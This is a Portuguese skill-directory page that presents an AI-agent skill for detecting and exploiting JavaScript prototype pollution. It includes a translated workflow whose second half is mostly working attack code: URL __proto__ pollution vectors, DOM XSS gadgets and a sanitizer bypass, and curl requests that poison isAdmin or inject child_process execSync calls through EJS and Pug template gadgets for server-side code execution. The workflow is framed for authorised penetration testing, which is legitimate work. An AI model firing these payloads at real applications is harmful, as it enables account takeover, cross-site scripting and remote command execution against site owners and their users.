Pular para o conteúdo
Skillpedia
Diversos35 mil · #5756

exploiting-prototype-pollution-in-javascript

Ajuda seu agente a detectar e explorar vulnerabilidades de poluição de protótipo JavaScript.

O que ela faz

Essa ferramenta ajuda a encontrar e explorar uma falha de segurança chamada 'Prototype Pollution' em aplicações web escritas em JavaScript. Essa falha pode permitir que um invasor execute códigos maliciosos ou ganhe acesso indevido.

Quando usar

  • ✓Ao testar a segurança de sites e aplicações web feitos com JavaScript.
  • ✓Ao verificar se uma API que recebe dados complexos pode ser manipulada.
  • ✓Ao procurar por falhas que permitam roubar informações ou executar comandos no servidor.

Exemplo do que pedir para a IA

“Verifique se o site X é vulnerável a Prototype Pollution e se é possível alterar o status de administrador de um usuário.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-prototype-pollution-in-javascript/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-prototype-pollution-in-javascript/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta tenta injetar informações em partes internas do JavaScript da aplicação. Se conseguir, pode modificar o comportamento do sistema para obter acesso ou executar comandos.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-prototype-pollution-in-javascript

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-prototype-pollution-in-javascript/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Poluição de Protótipo em JavaScript

Quando Usar

  • Ao testar aplicações web Node.js ou com muito JavaScript
  • Durante a avaliação de APIs que aceitam objetos JSON com merge profundo (deep-merged)
  • Ao testar frameworks JavaScript do lado do cliente para DOM XSS via poluição de protótipo
  • Durante a revisão de código de operações de merge/clone/extend de objetos
  • Ao avaliar pacotes npm em busca de "gadgets" de poluição de protótipo

Pré-requisitos

  • Burp Suite com a extensão DOM Invader para detecção de poluição de protótipo do lado do cliente
  • Ambiente de desenvolvimento Node.js para testes do lado do servidor
  • Compreensão da cadeia de protótipos do JavaScript e herança de objetos
  • Conhecimento de "gadgets" comuns de poluição (fontes, sumidouros e propriedades exploráveis)
  • Extensão Burp "Prototype Pollution Gadgets Scanner" para detecção do lado do servidor
  • Console do desenvolvedor do navegador para manipulação de protótipos do lado do cliente

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1 — Identificar Fontes de Poluição de Protótipo

// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value

Passo 2 — Testar Poluição de Protótipo do Lado do Servidor

# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# Test via constructor.prototype
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed

# JSON content type pollution
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'

Passo 3 — Explorar o Lado do Cliente para DOM XSS

// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks

Passo 4 — Explorar o Lado do Servidor para RCE

# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

…

Perguntas frequentes

O que é 'Prototype Pollution'?

É uma falha onde um invasor consegue modificar propriedades de objetos base no JavaScript, o que pode afetar todos os objetos da aplicação.

Quais são os riscos?

Os riscos incluem roubo de dados (XSS), execução de comandos no servidor (RCE) e acesso não autorizado a contas.

Preciso ser um programador experiente para usar?

É recomendado ter um conhecimento básico de como o JavaScript funciona e como as aplicações web se comunicam, mas a ferramenta tenta simplificar o processo.

Detalhes

Descrição original do autor

Detects and exploits JavaScript prototype pollution vulnerabilities in client-side and server-side (Node.js) applications to achieve XSS, RCE, or authentication bypass through property injection into Object.prototype. Use when assessing a JavaScript/Node.js application for prototype pollution, especially where a merge, clone, or extend function accepts user-controlled keys.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5756
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas